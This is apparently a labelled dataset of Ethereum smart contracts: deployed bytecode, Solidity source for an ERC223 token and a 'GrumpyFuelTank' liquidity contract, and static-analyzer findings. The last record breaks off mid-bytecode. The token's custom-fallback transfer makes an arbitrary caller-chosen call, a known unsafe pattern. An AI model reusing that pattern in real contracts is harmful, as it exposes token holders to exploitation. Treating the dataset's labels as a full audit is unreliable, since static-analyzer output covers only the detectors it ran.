0x608060405234801561001057600080fd5b506004361061007d5760003560e01c8063776062c31161005b578063776062c3146100e85780638da5cb5b146100fd5780639c1c2ee914610110578063f709b9061461012357600080fd5b806306394c9b14610082578063570ca735146100aa5780636fdc202f146100d5575b600080fd5b6100956100903660046105a4565b610136565b60405190151581526020015b60405180910390f35b6001546100bd906001600160a01b031681565b6040516001600160a01b0390911681526020016100a1565b6100956100e33660046105a4565b610250565b6100fb6100f63660046105c8565b610360565b005b6000546100bd906001600160a01b031681565b6100fb61011e366004610619565b610457565b6100fb6101313660046105c8565b6104f2565b600080546001600160a01b031633146101965760405162461bcd60e51b815260206004820181905260248201527f4f776e61626c653a2063616c6c6572206973206e6f7420746865206f776e657260448201526064015b60405180910390fd5b6001600160a01b0382166101ff5760405162461bcd60e51b815260206004820152602a60248201527f4f70657261746f723a206e6577206f70657261746f7220697320746865207a65604482015269726f206164647265737360b01b606482015260840161018d565b600180546001600160a01b0319166001600160a01b0384169081179091556040516000907f1a377613c0f1788c756a416e15f930cf9e84c3a5e808fa2f00b5a18a91a7b864908290a3506001919050565b600080546001600160a01b031633146102ab5760405162461bcd60e51b815260206004820181905260248201527f4f776e61626c653a2063616c6c6572206973206e6f7420746865206f776e6572604482015260640161018d565b6001600160a01b0382166103105760405162461bcd60e51b815260206004820152602660248201527f4f776e61626c653a206e6577206f776e657220697320746865207a65726f206160448201526564647265737360d01b606482015260840161018d565b600080546001600160a01b0319166001600160a01b0384169081178255604051909182917f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e09190a3506001919050565b6001546001600160a01b0316331461038a5760405162461bcd60e51b815260040161018d906106d7565b6040516323b872dd60e01b81526001600160a01b0384811660048301528381166024830152604482018390528516906323b872dd906064016020604051808303816000875af11580156103e1573d6000803e3d6000fd5b505050506040513d601f19601f82011682018060405250810190610405919061072b565b6104515760405162461bcd60e51b815260206004820152601a60248201527f6661696c757265207768696c65207472616e7366657272696e67000000000000604482015260640161018d565b50505050565b6001546001600160a01b031633146104815760405162461bcd60e51b815260040161018d906106d7565b604051637921219560e11b81526001600160a01b0388169063f242432a906104b79089908990899089908990899060040161074d565b600060405180830381600087803b1580156104d157600080fd5b505af11580156104e5573d6000803e3d6000fd5b5050505050505050505050565b6001546001600160a01b0316331461051c5760405162461bcd60e51b815260040161018d906106d7565b604051632142170760e11b81526001600160a01b0384811660048301528381166024830152604482018390528516906342842e0e90606401600060405180830381600087803b15801561056e57600080fd5b505af1158015610582573d6000803e3d6000fd5b5050505050505050565b6001600160a01b03811681146105a157600080fd5b50565b6000602082840312156105b657600080fd5b81356105c18161058c565b9392505050565b600080600080608085870312156105de57600080fd5b84356105e98161058c565b935060208501356105f98161058c565b925060408501356106098161058c565b9396929550929360600135925050565b600080600080600080600060c0888a03121561063457600080fd5b873561063f8161058c565b9650602088013561064f8161058c565b9550604088013561065f8161058c565b9450606088013593506080880135925060a088013567ffffffffffffffff8082111561068a57600080fd5b818a0191508a601f83011261069e57600080fd5b8135818111156106ad57600080fd5b8b60208285010111156106bf57600080fd5b60208301945080935050505092959891949750929550565b60208082526034908201527f4f70657261746f72526f6c653a2063616c6c657220646f6573206e6f74206861604082015273766520746865204f70657261746f7220726f6c6560601b606082015260800190565b60006020828403121561073d57600080fd5b815180151581146105c157600080fd5b6001600160a01b03878116825286166020820152604081018590526060810184905260a06080820181905281018290526000828460c0840137600060c0848401015260c0601f19601f850116830101905097965050505050505056fea2646970667358221220b728fe7f2b3afe420286b798b0d100e0d33a4f1301685c2338a39f69a99ba9f564736f6c634300080b0033
{"success": true, "error": null, "results": {}}
5,065
0x522b0f328ca716b5b676cab767372d48853ff040
pragma solidity 0.4.21; /** * @title ERC20Basic * @dev Simpler version of ERC20 interface * @dev see https://github.com/ethereum/EIPs/issues/179 */ contract ERC20Basic { function totalSupply() public view returns (uint256); function balanceOf(address who) public view returns (uint256); function transfer(address to, uint256 value) public returns (bool); event Transfer(address indexed from, address indexed to, uint256 value); } /** * @title SafeMath * @dev Math operations with safety checks that throw on error */ library SafeMath { /** * @dev Multiplies two numbers, throws on overflow. */ function mul(uint256 a, uint256 b) internal pure returns (uint256 c) { if (a == 0) { return 0; } c = a * b; assert(c / a == b); return c; } /** * @dev Integer division of two numbers, truncating the quotient. */ function div(uint256 a, uint256 b) internal pure returns (uint256) { // assert(b > 0); // Solidity automatically throws when dividing by 0 // uint256 c = a / b; // assert(a == b * c + a % b); // There is no case in which this doesn&#39;t hold return a / b; } /** * @dev Subtracts two numbers, throws on overflow (i.e. if subtrahend is greater than minuend). */ function sub(uint256 a, uint256 b) internal pure returns (uint256) { assert(b <= a); return a - b; } /** * @dev Adds two numbers, throws on overflow. */ function add(uint256 a, uint256 b) internal pure returns (uint256 c) { c = a + b; assert(c >= a); return c; } } /** * @title ERC223 interface * @dev see https://github.com/ethereum/eips/issues/223 */ contract ERC223 { function transfer(address _to, uint _value, bytes _data) public returns (bool success); function transfer(address _to, uint _value, bytes _data, string _fallback) public returns (bool success); event Transfer(address indexed from, address indexed to, uint value, bytes data); } /** * @title Contract that will work with ERC223 tokens. */ contract ERC223ReceivingContract { /** * @dev Standard ERC223 function that will handle incoming token transfers. * * @param _from Token sender address. * @param _value Amount of tokens. * @param _data Transaction metadata. */ function tokenFallback(address _from, uint _value, bytes _data); } /** * @title ERC223Token * @dev Generic implementation for the required functionality of the ERC223 standard. * @dev */ contract PGGamePlatform is ERC223, ERC20Basic { using SafeMath for uint256; string public name; string public symbol; uint8 public decimals; uint256 public totalSupply; mapping(address => uint256) public balances; /** * @dev Function to access name of token. * @return _name string the name of the token. */ function name() public view returns (string _name) { return name; } /** * @dev Function to access symbol of token. * @return _symbol string the symbol of the token. */ function symbol() public view returns (string _symbol) { return symbol; } /** * @dev Function to access decimals of token. * @return _decimals uint8 decimal point of token fractions. */ function decimals() public view returns (uint8 _decimals) { return decimals; } /** * @dev Function to access total supply of tokens. * @return _totalSupply uint256 total token supply. */ function totalSupply() public view returns (uint256 _totalSupply) { return totalSupply; } /** * @dev Function to access the balance of a specific address. * @param _owner address the target address to get the balance from. * @return _balance uint256 the balance of the target address. */ function balanceOf(address _owner) public view returns (uint256 _balance) { return balances[_owner]; } function PGGamePlatform() public{ name = "PG Game Platform"; symbol = "PGG"; decimals = 4; totalSupply = 10000000000 * 10 ** uint(decimals); balances[msg.sender] = totalSupply; } /** * @dev Function that is called when a user or another contract wants to transfer funds using custom fallback. * @param _to address to which the tokens are transfered. * @param _value uint256 amount of tokens to be transfered. * @param _data bytes data along token transaction. * @param _fallback string name of the custom fallback function to be called after transaction. */ function transfer(address _to, uint256 _value, bytes _data, string _fallback) public returns (bool _success) { if (isContract(_to)) { if (balanceOf(msg.sender) < _value) revert(); balances[msg.sender] = balanceOf(msg.sender).sub(_value); balances[_to] = balanceOf(_to).add(_value); // Calls the custom fallback function. // Will fail if not implemented, reverting transaction. assert(_to.call.value(0)(bytes4(keccak256(_fallback)), msg.sender, _value, _data)); Transfer(msg.sender, _to, _value, _data); return true; } else { return transferToAddress(_to, _value, _data); } } /** * @dev Function that is called when a user or another contract wants to transfer funds using default fallback. * @param _to address to which the tokens are transfered. * @param _value uint256 amount of tokens to be transfered. * @param _data bytes data along token transaction. */ function transfer(address _to, uint256 _value, bytes _data) public returns (bool _success) { if (isContract(_to)) { return transferToContract(_to, _value, _data); } else { return transferToAddress(_to, _value, _data); } } /** * @dev Standard function transfer similar to ERC20 transfer with no _data. * Added due to backwards compatibility reasons. * @param _to address to which the tokens are transfered. * @param _value uint256 amount of tokens to be transfered. */ function transfer(address _to, uint256 _value) public returns (bool _success) { // Adds empty bytes to fill _data param in functions bytes memory empty; if (isContract(_to)) { return transferToContract(_to, _value, empty); } else { return transferToAddress(_to, _value, empty); } } /** * @dev Function to test whether target address is a contract. * @param _addr address to be tested as a contract address or something else. * @return _isContract bool true if target address is a contract false otherwise. */ function isContract(address _addr) private view returns (bool _isContract) { uint length; assembly { length := extcodesize(_addr) } return (length > 0); } /** * @dev Function that is called when transaction target is an address. * @param _to address to which the tokens are transfered. * @param _value uint256 amount of tokens to be transfered. * @param _data bytes data along token transaction. */ function transferToAddress(address _to, uint256 _value, bytes _data) private returns (bool _success) { if (balanceOf(msg.sender) < _value) revert(); balances[msg.sender] = balanceOf(msg.sender).sub(_value); balances[_to] = balanceOf(_to).add(_value); Transfer(msg.sender, _to, _value, _data); return true; } /** * @dev Function that is called when transaction target is a contract. * @param _to address to which the tokens are transfered. * @param _value uint256 amount of tokens to be transfered. * @param _data bytes data along token transaction. */ function transferToContract(address _to, uint256 _value, bytes _data) private returns (bool _success) { if (balanceOf(msg.sender) < _value) { revert(); } balances[msg.sender] = balanceOf(msg.sender).sub(_value); balances[_to] = balanceOf(_to).add(_value); // Calls the default fallback function. // Will fail if not implemented, reverting transaction. ERC223ReceivingContract receiver = ERC223ReceivingContract(_to); receiver.tokenFallback(msg.sender, _value, _data); Transfer(msg.sender, _to, _value, _data); return true; } }
0x60606040526004361061007f5763ffffffff60e060020a60003504166306fdde03811461008457806318160ddd1461010e57806327e235e314610133578063313ce5671461015257806370a082311461017b57806395d89b411461019a578063a9059cbb146101ad578063be45fd62146101e3578063f6368f8a14610248575b600080fd5b341561008f57600080fd5b6100976102ef565b60405160208082528190810183818151815260200191508051906020019080838360005b838110156100d35780820151838201526020016100bb565b50505050905090810190601f1680156101005780820380516001836020036101000a031916815260200191505b509250505060405180910390f35b341561011957600080fd5b610121610397565b60405190815260200160405180910390f35b341561013e57600080fd5b610121600160a060020a036004351661039d565b341561015d57600080fd5b6101656103af565b60405160ff909116815260200160405180910390f35b341561018657600080fd5b610121600160a060020a03600435166103b8565b34156101a557600080fd5b6100976103d3565b34156101b857600080fd5b6101cf600160a060020a0360043516602435610446565b604051901515815260200160405180910390f35b34156101ee57600080fd5b6101cf60048035600160a060020a03169060248035919060649060443590810190830135806020601f8201819004810201604051908101604052818152929190602084018383808284375094965061048295505050505050565b341561025357600080fd5b6101cf60048035600160a060020a03169060248035919060649060443590810190830135806020601f8201819004810201604051908101604052818152929190602084018383808284378201915050505050509190803590602001908201803590602001908080601f0160208091040260200160405190810160405281815292919060208401838380828437509496506104b695505050505050565b6102f7610a82565b60008054600181600116156101000203166002900480601f01602080910402602001604051908101604052809291908181526020018280546001816001161561010002031660029004801561038d5780601f106103625761010080835404028352916020019161038d565b820191906000526020600020905b81548152906001019060200180831161037057829003601f168201915b5050505050905090565b60035490565b60046020526000908152604090205481565b60025460ff1690565b600160a060020a031660009081526004602052604090205490565b6103db610a82565b60018054600181600116156101000203166002900480601f01602080910402602001604051908101604052809291908181526020018280546001816001161561010002031660029004801561038d5780601f106103625761010080835404028352916020019161038d565b6000610450610a82565b61045984610724565b156104705761046984848361072c565b915061047b565b61046984848361092c565b5092915050565b600061048d84610724565b156104a45761049d84848461072c565b90506104af565b61049d84848461092c565b9392505050565b60006104c185610724565b1561070e57836104d0336103b8565b10156104db57600080fd5b6104f4846104e8336103b8565b9063ffffffff610a5d16565b600160a060020a0333166000908152600460205260409020556105268461051a876103b8565b9063ffffffff610a6f16565b600160a060020a0386166000818152600460205260408082209390935590918490518082805190602001908083835b602083106105745780518252601f199092019160209182019101610555565b6001836020036101000a0380198251168184511617909252505050919091019250604091505051809103902060e060020a9004903387876040518563ffffffff1660e060020a0281526004018084600160a060020a0316600160a060020a03168152602001838152602001828051906020019080838360005b838110156106055780820151838201526020016105ed565b50505050905090810190601f1680156106325780820380516001836020036101000a031916815260200191505b50935050505060006040518083038185885af19350505050151561065257fe5b84600160a060020a031633600160a060020a03167fe19260aff97b920c7df27010903aeb9c8d2be5d310a2c67824cf3f15396e4c16868660405182815260406020820181815290820183818151815260200191508051906020019080838360005b838110156106cb5780820151838201526020016106b3565b50505050905090810190601f1680156106f85780820380516001836020036101000a031916815260200191505b50935050505060405180910390a350600161071c565b61071985858561092c565b90505b949350505050565b6000903b1190565b60008083610739336103b8565b101561074457600080fd5b610751846104e8336103b8565b600160a060020a0333166000908152600460205260409020556107778461051a876103b8565b600160a060020a03861660008181526004602052604090819020929092558692509063c0ee0b8a90339087908790518463ffffffff1660e060020a0281526004018084600160a060020a0316600160a060020a0316815260200183815260200180602001828103825283818151815260200191508051906020019080838360005b838110156108105780820151838201526020016107f8565b50505050905090810190601f16801561083d5780820380516001836020036101000a031916815260200191505b50945050505050600060405180830381600087803b151561085d57600080fd5b5af1151561086a57600080fd5b50505084600160a060020a031633600160a060020a03167fe19260aff97b920c7df27010903aeb9c8d2be5d310a2c67824cf3f15396e4c16868660405182815260406020820181815290820183818151815260200191508051906020019080838360005b838110156108e65780820151838201526020016108ce565b50505050905090810190601f1680156109135780820380516001836020036101000a031916815260200191505b50935050505060405180910390a3506001949350505050565b600082610938336103b8565b101561094357600080fd5b610950836104e8336103b8565b600160a060020a0333166000908152600460205260409020556109768361051a866103b8565b6004600086600160a060020a0316600160a060020a031681526020019081526020016000208190555083600160a060020a031633600160a060020a03167fe19260aff97b920c7df27010903aeb9c8d2be5d310a2c67824cf3f15396e4c16858560405182815260406020820181815290820183818151815260200191508051906020019080838360005b83811015610a18578082015183820152602001610a00565b50505050905090810190601f168015610a455780820380516001836020036101000a031916815260200191505b50935050505060405180910390a35060019392505050565b600082821115610a6957fe5b50900390565b81810182811015610a7c57fe5b92915050565b602060405190810160405260008152905600a165627a7a723058209228c837795298d495c9502cda31b807c3b75593c2cd3febb736a6850360f6ca0029
{"success": true, "error": null, "results": {"detectors": [{"check": "constant-function-asm", "impact": "Medium", "confidence": "Medium"}, {"check": "uninitialized-local", "impact": "Medium", "confidence": "Medium"}]}}
5,066
0x18f47e7FE583D8A8297daAA9f8AC89B63b96b8e4
/** *Submitted for verification at Etherscan.io on 2021-04-30 */ // SPDX-License-Identifier: MIT pragma solidity ^0.8.0; interface IUniswapV2Router01 { function factory() external pure returns (address); function WETH() external pure returns (address); function addLiquidity( address tokenA, address tokenB, uint amountADesired, uint amountBDesired, uint amountAMin, uint amountBMin, address to, uint deadline ) external returns (uint amountA, uint amountB, uint liquidity); function addLiquidityETH( address token, uint amountTokenDesired, uint amountTokenMin, uint amountETHMin, address to, uint deadline ) external payable returns (uint amountToken, uint amountETH, uint liquidity); function removeLiquidity( address tokenA, address tokenB, uint liquidity, uint amountAMin, uint amountBMin, address to, uint deadline ) external returns (uint amountA, uint amountB); function removeLiquidityETH( address token, uint liquidity, uint amountTokenMin, uint amountETHMin, address to, uint deadline ) external returns (uint amountToken, uint amountETH); function removeLiquidityWithPermit( address tokenA, address tokenB, uint liquidity, uint amountAMin, uint amountBMin, address to, uint deadline, bool approveMax, uint8 v, bytes32 r, bytes32 s ) external returns (uint amountA, uint amountB); function removeLiquidityETHWithPermit( address token, uint liquidity, uint amountTokenMin, uint amountETHMin, address to, uint deadline, bool approveMax, uint8 v, bytes32 r, bytes32 s ) external returns (uint amountToken, uint amountETH); function swapExactTokensForTokens( uint amountIn, uint amountOutMin, address[] calldata path, address to, uint deadline ) external returns (uint[] memory amounts); function swapTokensForExactTokens( uint amountOut, uint amountInMax, address[] calldata path, address to, uint deadline ) external returns (uint[] memory amounts); function swapExactETHForTokens(uint amountOutMin, address[] calldata path, address to, uint deadline) external payable returns (uint[] memory amounts); function swapTokensForExactETH(uint amountOut, uint amountInMax, address[] calldata path, address to, uint deadline) external returns (uint[] memory amounts); function swapExactTokensForETH(uint amountIn, uint amountOutMin, address[] calldata path, address to, uint deadline) external returns (uint[] memory amounts); function swapETHForExactTokens(uint amountOut, address[] calldata path, address to, uint deadline) external payable returns (uint[] memory amounts); function quote(uint amountA, uint reserveA, uint reserveB) external pure returns (uint amountB); function getAmountOut(uint amountIn, uint reserveIn, uint reserveOut) external pure returns (uint amountOut); function getAmountIn(uint amountOut, uint reserveIn, uint reserveOut) external pure returns (uint amountIn); function getAmountsOut(uint amountIn, address[] calldata path) external view returns (uint[] memory amounts); function getAmountsIn(uint amountOut, address[] calldata path) external view returns (uint[] memory amounts); } interface IUniswapV2Router02 is IUniswapV2Router01 { function removeLiquidityETHSupportingFeeOnTransferTokens( address token, uint liquidity, uint amountTokenMin, uint amountETHMin, address to, uint deadline ) external returns (uint amountETH); function removeLiquidityETHWithPermitSupportingFeeOnTransferTokens( address token, uint liquidity, uint amountTokenMin, uint amountETHMin, address to, uint deadline, bool approveMax, uint8 v, bytes32 r, bytes32 s ) external returns (uint amountETH); function swapExactTokensForTokensSupportingFeeOnTransferTokens( uint amountIn, uint amountOutMin, address[] calldata path, address to, uint deadline ) external; function swapExactETHForTokensSupportingFeeOnTransferTokens( uint amountOutMin, address[] calldata path, address to, uint deadline ) external payable; function swapExactTokensForETHSupportingFeeOnTransferTokens( uint amountIn, uint amountOutMin, address[] calldata path, address to, uint deadline ) external; } interface IFuelTank { function openNozzle() external; function addTokens(address user, uint amount) external; } interface IERC20 { /** * @dev Returns the amount of tokens in existence. */ function totalSupply() external view returns (uint256); /** * @dev Returns the amount of tokens owned by `account`. */ function balanceOf(address account) external view returns (uint256); /** * @dev Moves `amount` tokens from the caller's account to `recipient`. * * Returns a boolean value indicating whether the operation succeeded. * * Emits a {Transfer} event. */ function transfer(address recipient, uint256 amount) external returns (bool); /** * @dev Returns the remaining number of tokens that `spender` will be * allowed to spend on behalf of `owner` through {transferFrom}. This is * zero by default. * * This value changes when {approve} or {transferFrom} are called. */ function allowance(address owner, address spender) external view returns (uint256); /** * @dev Sets `amount` as the allowance of `spender` over the caller's tokens. * * Returns a boolean value indicating whether the operation succeeded. * * IMPORTANT: Beware that changing an allowance with this method brings the risk * that someone may use both the old and the new allowance by unfortunate * transaction ordering. One possible solution to mitigate this race * condition is to first reduce the spender's allowance to 0 and set the * desired value afterwards: * https://github.com/ethereum/EIPs/issues/20#issuecomment-263524729 * * Emits an {Approval} event. */ function approve(address spender, uint256 amount) external returns (bool); /** * @dev Moves `amount` tokens from `sender` to `recipient` using the * allowance mechanism. `amount` is then deducted from the caller's * allowance. * * Returns a boolean value indicating whether the operation succeeded. * * Emits a {Transfer} event. */ function transferFrom(address sender, address recipient, uint256 amount) external returns (bool); /** * @dev Emitted when `value` tokens are moved from one account (`from`) to * another (`to`). * * Note that `value` may be zero. */ event Transfer(address indexed from, address indexed to, uint256 value); /** * @dev Emitted when the allowance of a `spender` for an `owner` is set by * a call to {approve}. `value` is the new allowance. */ event Approval(address indexed owner, address indexed spender, uint256 value); } /* * @dev Provides information about the current execution context, including the * sender of the transaction and its data. While these are generally available * via msg.sender and msg.data, they should not be accessed in such a direct * manner, since when dealing with meta-transactions the account sending and * paying for execution may not be the actual sender (as far as an application * is concerned). * * This contract is only required for intermediate, library-like contracts. */ abstract contract Context { function _msgSender() internal view virtual returns (address) { return msg.sender; } function _msgData() internal view virtual returns (bytes calldata) { this; // silence state mutability warning without generating bytecode - see https://github.com/ethereum/solidity/issues/2691 return msg.data; } } /** * @dev Contract module which provides a basic access control mechanism, where * there is an account (an owner) that can be granted exclusive access to * specific functions. * * By default, the owner account will be the one that deploys the contract. This * can later be changed with {transferOwnership}. * * This module is used through inheritance. It will make available the modifier * `onlyOwner`, which can be applied to your functions to restrict their use to * the owner. */ abstract contract Ownable is Context { address private _owner; event OwnershipTransferred(address indexed previousOwner, address indexed newOwner); /** * @dev Initializes the contract setting the deployer as the initial owner. */ constructor () { address msgSender = _msgSender(); _owner = msgSender; emit OwnershipTransferred(address(0), msgSender); } /** * @dev Returns the address of the current owner. */ function owner() public view virtual returns (address) { return _owner; } /** * @dev Throws if called by any account other than the owner. */ modifier onlyOwner() { require(owner() == _msgSender(), "Ownable: caller is not the owner"); _; } /** * @dev Leaves the contract without owner. It will not be possible to call * `onlyOwner` functions anymore. Can only be called by the current owner. * * NOTE: Renouncing ownership will leave the contract without an owner, * thereby removing any functionality that is only available to the owner. */ function renounceOwnership() public virtual onlyOwner { emit OwnershipTransferred(_owner, address(0)); _owner = address(0); } /** * @dev Transfers ownership of the contract to a new account (`newOwner`). * Can only be called by the current owner. */ function transferOwnership(address newOwner) public virtual onlyOwner { require(newOwner != address(0), "Ownable: new owner is the zero address"); emit OwnershipTransferred(_owner, newOwner); _owner = newOwner; } } contract GrumpyFuelTank is Context, Ownable, IFuelTank { IUniswapV2Router02 uniswapRouter; address uniswapRouterAddress = 0x7a250d5630B4cF539739dF2C5dAcb4c659F2488D; address public grumpyAddress; address public meowDAOAddress; mapping (address => uint) public reclaimableBalances; uint public liquidityBalance; uint public reclaimGuaranteeTime; uint public reclaimStartTime; constructor (address _grumpyAddress) { grumpyAddress = _grumpyAddress; uniswapRouter = IUniswapV2Router02(uniswapRouterAddress); } function addMeowDAOaddress(address _meowDAOAddress) public onlyOwner { require(meowDAOAddress == address(0)); meowDAOAddress = _meowDAOAddress; } bool public nozzleOpen = false; function openNozzle() external override { require(!nozzleOpen, "AlreadyOpen"); require(meowDAOAddress != address(0), "MeowDAONotInitialized"); require(msg.sender == meowDAOAddress, "MustBeMeowDao"); reclaimStartTime = block.timestamp + (86400 * 2); reclaimGuaranteeTime = block.timestamp + (86400 * 9); nozzleOpen = true; } function addTokens(address user, uint amount) external override { require(meowDAOAddress != address(0), "MeowDAONotInitialized"); require(msg.sender == meowDAOAddress, "MustBeMeowDao"); require(!nozzleOpen, "MustBePhase1"); require(amount > 100, "amountTooSmall"); uint granule = amount / 100; uint reclaimable = granule * 72; uint fuel = granule * 25; liquidityBalance += fuel; reclaimableBalances[user] = reclaimableBalances[user] + reclaimable; } function reclaimGrumpies() public { require(nozzleOpen, "Phase1"); require(block.timestamp >= reclaimStartTime, "Phase2"); address sender = msg.sender; require(reclaimableBalances[sender] > 0, "BalanceEmpty"); IERC20(grumpyAddress).transfer(sender, reclaimableBalances[sender]); reclaimableBalances[sender] = 0; } function sellGrumpy(uint256 amount, uint256 amountOutMin) public onlyOwner { require(nozzleOpen); if (block.timestamp < reclaimGuaranteeTime) { require(amount <= liquidityBalance, "NotEnoughFuel"); liquidityBalance -= amount; } IERC20 grumpy = IERC20(grumpyAddress); require(grumpy.approve(uniswapRouterAddress, amount), "Could not approve grumpy transfer"); address[] memory path = new address[](2); path[0] = grumpyAddress; path[1] = uniswapRouter.WETH(); uniswapRouter.swapExactTokensForTokensSupportingFeeOnTransferTokens(amount, amountOutMin, path, address(this), block.timestamp); } function provideLockedLiquidity( uint amountWETHDesired, uint amountMEOWDesired, uint amountWETHMin, uint amountMEOWMin, uint deadline) public onlyOwner { require(nozzleOpen); require(meowDAOAddress != address(0)); address wethAddress = uniswapRouter.WETH(); require(IERC20(wethAddress).approve(uniswapRouterAddress, amountWETHDesired), "Could not approve WETH transfer"); require(IERC20(meowDAOAddress).approve(uniswapRouterAddress, amountMEOWDesired), "Could not approve MEOW transfer"); uniswapRouter.addLiquidity( uniswapRouter.WETH(), meowDAOAddress, amountWETHDesired, amountMEOWDesired, amountWETHMin, amountMEOWMin, address(0x000000000000000000000000000000000000dEaD), deadline); } }
0x608060405234801561001057600080fd5b50600436106101005760003560e01c8063b9ac446411610097578063e54c204c11610066578063e54c204c1461023d578063f2fde38b1461025b578063f562e0f914610277578063fdcff7d21461029357610100565b8063b9ac4464146101dd578063c3926a29146101f9578063c651521014610217578063c6b859c21461022157610100565b80636039fbdb116100d35780636039fbdb1461017b578063715018a6146101975780638da5cb5b146101a1578063ad581ef7146101bf57610100565b8063131d03631461010557806316032b4014610123578063165505c1146101535780633ad7f5f91461015d575b600080fd5b61010d6102b1565b60405161011a9190611f55565b60405180910390f35b61013d6004803603810190610138919061185c565b6102c4565b60405161014a9190612130565b60405180910390f35b61015b6102dc565b005b610165610495565b6040516101729190612130565b60405180910390f35b610195600480360381019061019091906118ae565b61049b565b005b61019f610731565b005b6101a961086b565b6040516101b69190611e93565b60405180910390f35b6101c7610894565b6040516101d49190612130565b60405180910390f35b6101f760048036038101906101f2919061199e565b61089a565b005b610201610db6565b60405161020e9190612130565b60405180910390f35b61021f610dbc565b005b61023b6004803603810190610236919061185c565b61100e565b005b610245611129565b6040516102529190611e93565b60405180910390f35b6102756004803603810190610270919061185c565b61114f565b005b610291600480360381019061028c9190611913565b6112f8565b005b61029b6117c5565b6040516102a89190611e93565b60405180910390f35b600960009054906101000a900460ff1681565b60056020528060005260406000206000915090505481565b600960009054906101000a900460ff161561032c576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161032390611ff0565b60405180910390fd5b600073ffffffffffffffffffffffffffffffffffffffff16600460009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1614156103be576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016103b590612110565b60405180910390fd5b600460009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff161461044e576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161044590612070565b60405180910390fd5b6202a3004261045d91906121ef565b600881905550620bdd804261047291906121ef565b6007819055506001600960006101000a81548160ff021916908315150217905550565b60075481565b600073ffffffffffffffffffffffffffffffffffffffff16600460009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16141561052d576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161052490612110565b60405180910390fd5b600460009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff16146105bd576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016105b490612070565b60405180910390fd5b600960009054906101000a900460ff161561060d576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161060490611f70565b60405180910390fd5b60648111610650576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610647906120b0565b60405180910390fd5b600060648261065f9190612245565b905060006048826106709190612276565b905060006019836106819190612276565b9050806006600082825461069591906121ef565b9250508190555081600560008773ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020546106e791906121ef565b600560008773ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055505050505050565b6107396117eb565b73ffffffffffffffffffffffffffffffffffffffff1661075761086b565b73ffffffffffffffffffffffffffffffffffffffff16146107ad576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016107a490612030565b60405180910390fd5b600073ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff167f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e060405160405180910390a360008060006101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff160217905550565b60008060009054906101000a900473ffffffffffffffffffffffffffffffffffffffff16905090565b60085481565b6108a26117eb565b73ffffffffffffffffffffffffffffffffffffffff166108c061086b565b73ffffffffffffffffffffffffffffffffffffffff1614610916576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161090d90612030565b60405180910390fd5b600960009054906101000a900460ff1661092f57600080fd5b600073ffffffffffffffffffffffffffffffffffffffff16600460009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16141561098b57600080fd5b6000600160009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1663ad5c46486040518163ffffffff1660e01b815260040160206040518083038186803b1580156109f557600080fd5b505afa158015610a09573d6000803e3d6000fd5b505050506040513d601f19601f82011682018060405250810190610a2d9190611885565b90508073ffffffffffffffffffffffffffffffffffffffff1663095ea7b3600260009054906101000a900473ffffffffffffffffffffffffffffffffffffffff16886040518363ffffffff1660e01b8152600401610a8c929190611f2c565b602060405180830381600087803b158015610aa657600080fd5b505af1158015610aba573d6000803e3d6000fd5b505050506040513d601f19601f82011682018060405250810190610ade91906118ea565b610b1d576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610b1490611fb0565b60405180910390fd5b600460009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1663095ea7b3600260009054906101000a900473ffffffffffffffffffffffffffffffffffffffff16876040518363ffffffff1660e01b8152600401610b9c929190611f2c565b602060405180830381600087803b158015610bb657600080fd5b505af1158015610bca573d6000803e3d6000fd5b505050506040513d601f19601f82011682018060405250810190610bee91906118ea565b610c2d576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610c2490611fd0565b60405180910390fd5b600160009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1663e8e33700600160009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1663ad5c46486040518163ffffffff1660e01b815260040160206040518083038186803b158015610cd357600080fd5b505afa158015610ce7573d6000803e3d6000fd5b505050506040513d601f19601f82011682018060405250810190610d0b9190611885565b600460009054906101000a900473ffffffffffffffffffffffffffffffffffffffff168989898961dead8a6040518963ffffffff1660e01b8152600401610d59989796959493929190611eae565b606060405180830381600087803b158015610d7357600080fd5b505af1158015610d87573d6000803e3d6000fd5b505050506040513d601f19601f82011682018060405250810190610dab919061194f565b505050505050505050565b60065481565b600960009054906101000a900460ff16610e0b576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610e0290612010565b60405180910390fd5b600854421015610e50576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610e47906120f0565b60405180910390fd5b60003390506000600560008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000205411610ed7576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610ece90612050565b60405180910390fd5b600360009054906101000a9004